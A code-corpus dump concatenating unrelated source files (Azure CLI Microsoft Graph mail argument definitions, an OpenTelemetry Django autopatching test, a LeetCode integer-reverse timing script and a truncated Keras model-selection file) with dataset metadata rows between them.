c.argument('microsoft_graph_size_range_within_size_range', action=AddWithinSizeRange, nargs='+', help='sizeRange', arg_group='Conditions') c.argument('assign_categories', nargs='+', help='A list of categories to be assigned to a message.', arg_group='Actions') c.argument('copy_to_folder', type=str, help='The ID of a folder that a message is to be copied to.', arg_group='Actions') c.argument('delete', arg_type=get_three_state_flag(), help='Indicates whether a message should be moved to the ' 'Deleted Items folder.', arg_group='Actions') c.argument('forward_as_attachment_to', type=validate_file_or_dict, help='The email addresses of the recipients ' 'to which a message should be forwarded as an attachment. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('forward_to', type=validate_file_or_dict, help='The email addresses of the recipients to which a ' 'message should be forwarded. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('mark_as_read', arg_type=get_three_state_flag(), help='Indicates whether a message should be marked ' 'as read.', arg_group='Actions') c.argument('mark_importance', arg_type=get_enum_type(['low', 'normal', 'high']), help='', arg_group='Actions') c.argument('move_to_folder', type=str, help='The ID of the folder that a message will be moved to.', arg_group='Actions') c.argument('permanent_delete', arg_type=get_three_state_flag(), help='Indicates whether a message should be ' 'permanently deleted and not saved to the Deleted Items folder.', arg_group='Actions') c.argument('redirect_to', type=validate_file_or_dict, help='The email addresses to which a message should be ' 'redirected. Expected value: json-string/@json-file.', arg_group='Actions') c.argument('stop_processing_rules', arg_type=get_three_state_flag(), help='Indicates whether subsequent rules ' 'should be evaluated.', arg_group='Actions') with self.argument_context('mail user-mail-folder update-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-mail-folder update-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.') with self.argument_context('mail user-mail-folder-message create-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('content_type', type=str, help='The MIME type.') c.argument('is_inline', arg_type=get_three_state_flag(), help='true if the attachment is an inline attachment; ' 'otherwise, false.') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('name', type=str, help='The attachment\'s file name.') c.argument('size', type=int, help='The length of the attachment in bytes.') with self.argument_context('mail user-mail-folder-message create-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') with self.argument_context('mail user-mail-folder-message create-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-mail-folder-message create-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.') with self.argument_context('mail user-mail-folder-message delete-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder-message delete-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder-message delete-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder-message delete-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-mail-folder-message list-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message list-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message list-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message list-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message show-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message show-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message show-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message show-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-mail-folder-message update-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('content_type', type=str, help='The MIME type.') c.argument('is_inline', arg_type=get_three_state_flag(), help='true if the attachment is an inline attachment; ' 'otherwise, false.') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('name', type=str, help='The attachment\'s file name.') c.argument('size', type=int, help='The length of the attachment in bytes.') with self.argument_context('mail user-mail-folder-message update-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') with self.argument_context('mail user-mail-folder-message update-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-mail-folder-message update-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('mail_folder_id', type=str, help='key: id of mailFolder') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.') with self.argument_context('mail user-message create-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('content_type', type=str, help='The MIME type.') c.argument('is_inline', arg_type=get_three_state_flag(), help='true if the attachment is an inline attachment; ' 'otherwise, false.') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('name', type=str, help='The attachment\'s file name.') c.argument('size', type=int, help='The length of the attachment in bytes.') with self.argument_context('mail user-message create-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') with self.argument_context('mail user-message create-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-message create-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.') with self.argument_context('mail user-message delete-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-message delete-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-message delete-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-message delete-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('if_match', type=str, help='ETag') with self.argument_context('mail user-message list-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message list-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message list-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message list-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('orderby', nargs='+', help='Order items by property values') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message show-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message show-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message show-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message show-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('select', nargs='+', help='Select properties to be returned') c.argument('expand', nargs='+', help='Expand related entities') with self.argument_context('mail user-message update-attachment') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('attachment_id', type=str, help='key: id of attachment') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('content_type', type=str, help='The MIME type.') c.argument('is_inline', arg_type=get_three_state_flag(), help='true if the attachment is an inline attachment; ' 'otherwise, false.') c.argument('last_modified_date_time', help='The Timestamp type represents date and time information using ISO ' '8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 would look like ' 'this: \'2014-01-01T00:00:00Z\'') c.argument('name', type=str, help='The attachment\'s file name.') c.argument('size', type=int, help='The length of the attachment in bytes.') with self.argument_context('mail user-message update-extension') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('extension_id', type=str, help='key: id of extension') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') with self.argument_context('mail user-message update-multi-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('multi_value_legacy_extended_property_id', type=str, help='key: id of ' 'multiValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', nargs='+', help='A collection of property values.') with self.argument_context('mail user-message update-single-value-extended-property') as c: c.argument('user_id', type=str, help='key: id of user') c.argument('message_id', type=str, help='key: id of message') c.argument('single_value_legacy_extended_property_id', type=str, help='key: id of ' 'singleValueLegacyExtendedProperty') c.argument('id_', options_list=['--id'], type=str, help='Read-only.') c.argument('value', type=str, help='A property value.')

81.572043

125

0.644099

14,713

113,793

4.843064

0.029158

0.091571

0.049708

0.047799

0.987187

0.986457

0.985657

0.984394

0.983426

0.982977

0

0.004498

0.239997

113,793

1,394

126

81.63056

0.819433

0.00471

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0.919753

0

0.015432

0.497631

0.069549

0

1

0.000772

false

0

0.010031

0

0.010802

0

null

0

1

0

1

0

null

0

7

b778fc6f6b0e273e4d19c5784d476f695a937e1e

5,385

py

Python

tests/contrib/django/test_autopatching.py

ocelotl/opentelemetry-auto-instr-python-1

f5c47bd1ee492ffde298794f283031c22891f60b

[ "BSD-3-Clause" ]

2

2020-03-04T17:33:22.000Z

2021-01-20T14:20:10.000Z

tests/contrib/django/test_autopatching.py

ocelotl/opentelemetry-auto-instr-python-1

f5c47bd1ee492ffde298794f283031c22891f60b

[ "BSD-3-Clause" ]

4

2019-11-25T00:11:16.000Z

2021-05-13T20:43:50.000Z

tests/contrib/django/test_autopatching.py

ocelotl/opentelemetry-auto-instr-python-1

f5c47bd1ee492ffde298794f283031c22891f60b

[ "BSD-3-Clause" ]

3

2020-02-05T14:54:25.000Z

2020-03-23T02:51:27.000Z

# Copyright 2019, OpenTelemetry Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import django from oteltrace.monkey import patch from .utils import DjangoTraceTestCase from django.conf import settings from unittest import skipIf class DjangoAutopatchTest(DjangoTraceTestCase): def setUp(self): super(DjangoAutopatchTest, self).setUp() patch(django=True) django.setup() @skipIf(django.VERSION >= (1, 10), 'skip if version above 1.10') def test_autopatching_middleware_classes(self): assert django._opentelemetry_patch assert 'oteltrace.contrib.django' in settings.INSTALLED_APPS assert settings.MIDDLEWARE_CLASSES[0] == 'oteltrace.contrib.django.TraceMiddleware' assert settings.MIDDLEWARE_CLASSES[-1] == 'oteltrace.contrib.django.TraceExceptionMiddleware' @skipIf(django.VERSION >= (1, 10), 'skip if version above 1.10') def test_autopatching_twice_middleware_classes(self): assert django._opentelemetry_patch # Call django.setup() twice and ensure we don't add a duplicate tracer django.setup() found_app = settings.INSTALLED_APPS.count('oteltrace.contrib.django') assert found_app == 1 assert settings.MIDDLEWARE_CLASSES[0] == 'oteltrace.contrib.django.TraceMiddleware' assert settings.MIDDLEWARE_CLASSES[-1] == 'oteltrace.contrib.django.TraceExceptionMiddleware' found_mw = settings.MIDDLEWARE_CLASSES.count('oteltrace.contrib.django.TraceMiddleware') assert found_mw == 1 found_mw = settings.MIDDLEWARE_CLASSES.count('oteltrace.contrib.django.TraceExceptionMiddleware') assert found_mw == 1 @skipIf(django.VERSION < (1, 10), 'skip if version is below 1.10') def test_autopatching_middleware(self): assert django._opentelemetry_patch assert 'oteltrace.contrib.django' in settings.INSTALLED_APPS assert settings.MIDDLEWARE[0] == 'oteltrace.contrib.django.TraceMiddleware' # MIDDLEWARE_CLASSES gets created internally in django 1.10 & 1.11 but doesn't # exist at all in 2.0. assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceMiddleware' \ not in settings.MIDDLEWARE_CLASSES assert settings.MIDDLEWARE[-1] == 'oteltrace.contrib.django.TraceExceptionMiddleware' assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceExceptionMiddleware' \ not in settings.MIDDLEWARE_CLASSES @skipIf(django.VERSION < (1, 10), 'skip if version is below 1.10') def test_autopatching_twice_middleware(self): assert django._opentelemetry_patch # Call django.setup() twice and ensure we don't add a duplicate tracer django.setup() found_app = settings.INSTALLED_APPS.count('oteltrace.contrib.django') assert found_app == 1 assert settings.MIDDLEWARE[0] == 'oteltrace.contrib.django.TraceMiddleware' # MIDDLEWARE_CLASSES gets created internally in django 1.10 & 1.11 but doesn't # exist at all in 2.0. assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceMiddleware' \ not in settings.MIDDLEWARE_CLASSES assert settings.MIDDLEWARE[-1] == 'oteltrace.contrib.django.TraceExceptionMiddleware' assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceExceptionMiddleware' \ not in settings.MIDDLEWARE_CLASSES found_mw = settings.MIDDLEWARE.count('oteltrace.contrib.django.TraceMiddleware') assert found_mw == 1 found_mw = settings.MIDDLEWARE.count('oteltrace.contrib.django.TraceExceptionMiddleware') assert found_mw == 1 class DjangoAutopatchCustomMiddlewareTest(DjangoTraceTestCase): @skipIf(django.VERSION < (1, 10), 'skip if version is below 1.10') def test_autopatching_empty_middleware(self): with self.settings(MIDDLEWARE=[]): patch(django=True) django.setup() assert django._opentelemetry_patch assert 'oteltrace.contrib.django' in settings.INSTALLED_APPS assert settings.MIDDLEWARE[0] == 'oteltrace.contrib.django.TraceMiddleware' # MIDDLEWARE_CLASSES gets created internally in django 1.10 & 1.11 but doesn't # exist at all in 2.0. assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceMiddleware' \ not in settings.MIDDLEWARE_CLASSES assert settings.MIDDLEWARE[-1] == 'oteltrace.contrib.django.TraceExceptionMiddleware' assert not getattr(settings, 'MIDDLEWARE_CLASSES', None) or \ 'oteltrace.contrib.django.TraceExceptionMiddleware' \ not in settings.MIDDLEWARE_CLASSES

47.654867

105

0.713092

625

5,385

6.0432

0.1968

0.128674

0.145618

0.097961

0.796399

0.782632

0.779984

0.765687

0.759068

0.714324

0

0.018093

0.199443

5,385

112

106

48.080357

0.858038

0.18403

0

0.743243

0

0.287511

0.231016

0

0.405405

1

0.081081

false

0

0.067568

0

0.175676

0

null

0

1

0

1

0

null

0

1

0

7

b78cde6d3cebe29f7e931577e725ff4b7c24b1cf

54

py

Python

app/src/main/python/myscript.py

dhivakar31/chaquopy3107

dc0748d3f3df1e1125788175a4a00c57eab85526

[ "MIT" ]

null

app/src/main/python/myscript.py

dhivakar31/chaquopy3107

dc0748d3f3df1e1125788175a4a00c57eab85526

[ "MIT" ]

null

app/src/main/python/myscript.py

dhivakar31/chaquopy3107

dc0748d3f3df1e1125788175a4a00c57eab85526

[ "MIT" ]

null

def add(a,b): return a+b def sub(a,b): return a-b

13.5

14

0.592593

14

54

2.285714

0.428571

0.25

0.5

0.5625

0.625

0

0.222222

54

4

14

13.5

0.761905

0

1

0.5

false

0

0.5

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

8

b79db24da371797a985afbe7993ff2334ee38df9

271

py

Python

sources/controller/__init__.py

Groomsha/lan-map

1c30819470f43f8521e98eb75c70da23939f8f06

[ "Apache-2.0" ]

null

sources/controller/__init__.py

Groomsha/lan-map

1c30819470f43f8521e98eb75c70da23939f8f06

[ "Apache-2.0" ]

null

sources/controller/__init__.py

Groomsha/lan-map

1c30819470f43f8521e98eb75c70da23939f8f06

[ "Apache-2.0" ]

null

from .main_window.main_window_controller import * from .new_device_window.new_device_controller import * from .new_device_window.save_data_new_device import * from .new_device_window.button_new_device import * from .new_device_window.widgets_control_new_device import *

38.714286

59

0.867159

41

271

5.219512

0.292683

0.336449

0.242991

0.35514

0.64486

0.317757

0

0.077491

271

6

60

45.166667

0.856

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

b7d07c5e4feef14cc5c5422522e05040db50289a

2,406

py

Python

AATCC/lab-report/w2/lc-7-test.py

kancheng/kan-cs-report-in-2022

2a1e1eaa515349d59803c7831a7bd4cbea890a44

[ "MIT" ]

null

AATCC/lab-report/w2/lc-7-test.py

kancheng/kan-cs-report-in-2022

2a1e1eaa515349d59803c7831a7bd4cbea890a44

[ "MIT" ]

null

AATCC/lab-report/w2/lc-7-test.py

kancheng/kan-cs-report-in-2022

2a1e1eaa515349d59803c7831a7bd4cbea890a44

[ "MIT" ]

null

import time # 計算通過 EX 1 的效率 start = time.process_time() class Solution1: def reverse(self, x: int) -> int: max_32 = 2 ** 31 - 1 if abs(x) > max_32: return 0 if x < 0: rint = -int(str(abs(x))[::-1]) else: rint = int(str(x)[::-1]) if abs(rint) > max_32: return 0 else: return rint x1 = -123 x2 = 123 x3 = 120 ob1 = Solution1() print(ob1.reverse(x1)) print(ob1.reverse(x2)) print(ob1.reverse(x3)) end = time.process_time() print("Process Time: time of EX 1 is %.5f" % float(end-start)) start = time.perf_counter() class Solution1: def reverse(self, x: int) -> int: max_32 = 2 ** 31 - 1 if abs(x) > max_32: return 0 if x < 0: rint = -int(str(abs(x))[::-1]) else: rint = int(str(x)[::-1]) if abs(rint) > max_32: return 0 else: return rint x1 = -123 x2 = 123 x3 = 120 ob1 = Solution1() print(ob1.reverse(x1)) print(ob1.reverse(x2)) print(ob1.reverse(x3)) end = time.perf_counter() print("Perf Counter: time of EX 1 is %.5f" % float(end-start)) # 計算通過 EX 2 的效率 start = time.process_time() class Solution2: def reverse(self, x): """ :type x: int :rtype: int """ if x==0: return 0 str_x = str(x) x = '' if str_x[0] == '-': x += '-' x += str_x[len(str_x)-1::-1].lstrip("0").rstrip("-") x = int(x) if -2**31<x<2**31-1: return x return 0 x1 = -123 x2 = 123 x3 = 120 ob2 = Solution2() print(ob2.reverse(x1)) print(ob2.reverse(x2)) print(ob2.reverse(x3)) end = time.process_time() print("Process Time: time of EX 2 is %.5f" % float(end-start)) start = time.perf_counter() class Solution2: def reverse(self, x): """ :type x: int :rtype: int """ if x==0: return 0 str_x = str(x) x = '' if str_x[0] == '-': x += '-' x += str_x[len(str_x)-1::-1].lstrip("0").rstrip("-") x = int(x) if -2**31<x<2**31-1: return x return 0 x1 = -123 x2 = 123 x3 = 120 ob2 = Solution2() print(ob2.reverse(x1)) print(ob2.reverse(x2)) print(ob2.reverse(x3)) end = time.perf_counter() print("Perf Counter: time of EX 2 is %.5f" % float(end-start))

22.698113

62

0.501247

362

2,406

3.270718

0.129834

0.040541

0.076014

0.050676

0.97973

0.940878

0.908784

0

0.094645

0.332502

2,406

106

63

22.698113

0.64259

0.032419

0

0.946237

0

0.063576

0

1

0.043011

false

0

0.010753

0

0.225806

0.172043

0

null

0

1

0

1

0

null

0

7

4d69ba1aa8e32ef8eb741e0c316674aff19ad67f

13,020

py

Python

Code/model_selection.py

MartinSchiemer/Revisiting_the_Information_Plane

0376d4a30d3753698f5985d657c92c3395def3ac

[ "MIT" ]

1

2021-07-19T02:07:01.000Z

Code/model_selection.py

MartinSchiemer/Revisiting_the_Information_Plane

0376d4a30d3753698f5985d657c92c3395def3ac

[ "MIT" ]

null

Code/model_selection.py

MartinSchiemer/Revisiting_the_Information_Plane

0376d4a30d3753698f5985d657c92c3395def3ac

[ "MIT" ]

null

""" Author: Martin Schiemer some sample model configurations """ import numpy as np np.random.seed(1337) # tensorflow properties import tensorflow as tf from tensorflow.keras import backend as K from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Input, InputLayer, Dense, Activation, LeakyReLU, Flatten, Conv2D, MaxPooling2D from tensorflow.keras.utils import normalize from tensorflow.keras import optimizers from tensorflow.keras.models import Model def select_model(index, nr_of_epochs, set_name, x_train_shape, y_train): """ creates model and a network name acording to the dataset index: flag that decides which model is taken nr_of_epochs: how many epoch are max set_name: name of the dataset x_train_shape: shape of the input data y_train: shape of the output data returns: model and architecture name """ x_shape_length = len(x_train_shape) if len(y_train.shape) > 1: y_shape_length = y_train.shape[1] else: y_shape_length = 1 amount_of_classes = len(np.unique(y_train)) print("amount of classes", amount_of_classes) print("Input shape: ", x_train_shape, " length: ", x_shape_length) # define model # mix network with leading TanH if index == 1: architecture = set_name + str(nr_of_epochs) + "D10T_D7T_D5R_D4R_D3R_D1S" model = Sequential() # inputlayers are needed to allow backend calculations if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(10)) model.add(Activation("tanh")) model.add(Dense(7)) model.add(Activation("tanh")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(4)) model.add(Activation("relu")) model.add(Dense(3)) model.add(Activation("relu")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # mix network with leading ReLU if index == 2: architecture = set_name + str(nr_of_epochs) + "D10R_D7R_D5T_D4T_D3T_D1S" model = Sequential() #model.add(InputLayer((x_train_shape,))) if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Flatten()) model.add(Dense(10)) model.add(Activation("relu")) model.add(Dense(7)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("tanh")) model.add(Dense(4)) model.add(Activation("tanh")) model.add(Dense(3)) model.add(Activation("tanh")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # ReLU network if index == 3: architecture = set_name + str(nr_of_epochs) + "D10R_D7R_D5R_D4R_D3R_D1S" model = Sequential() if x_shape_length == 2 : model.add(InputLayer((x_train_shape[1],))) elif x_shape_length == 3 : model.add(InputLayer((x_train_shape[1], x_train_shape[2]))) elif x_shape_length == 4 : model.add(InputLayer((x_train_shape[1], x_train_shape[2], x_train_shape[3]))) model.add(Dense(10)) model.add(Activation("relu")) model.add(Dense(7)) model.add(Activation("relu")) model.add(Dense(5)) model.add(Activation("relu")) model.add(Dense(4)) model.add(Activation("relu")) model.add(Dense(3)) model.add(Activation("relu")) model.add(Flatten()) model.add(Dense(y_shape_length)) model.add(Activation("softmax")) # TanH network if index == 4: architecture = set_name + 